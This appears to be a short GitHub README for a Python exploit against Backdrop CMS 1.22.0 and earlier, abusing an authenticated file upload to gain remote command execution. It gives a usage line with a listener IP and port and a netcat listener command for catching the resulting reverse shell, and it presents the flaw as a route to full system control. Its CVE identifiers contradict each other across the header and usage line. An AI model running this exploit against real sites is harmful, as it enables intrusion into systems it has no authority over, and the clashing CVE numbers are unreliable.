ajdumanhug/cve-2022-42092CVE-2023-46818 Python3 Exploit for Backdrop CMS <= 1.22.0 Authenticated Remote Command Execution (RCE)
This Python exploit script targets an unrestricted file upload in Backdrop CMS to achieve a Remote Code Execution (RCE).
Version 1.22.0 and prior version Note: Backdrop CMS disputes this and argues that advanced permissions are required, which is why it might still exist in versions above 1.22.0. I’m guessing they mean you would need to have admin access first. Still, it’s a valid vulnerability, and it can definitely be exploited to gain full system control.
python3 CVE-2022-42902.py <target_url> <username> <password> <listener_ip> <listener_port>
Important: Start your listener before running the script:
nc -lvnp <listener_port>
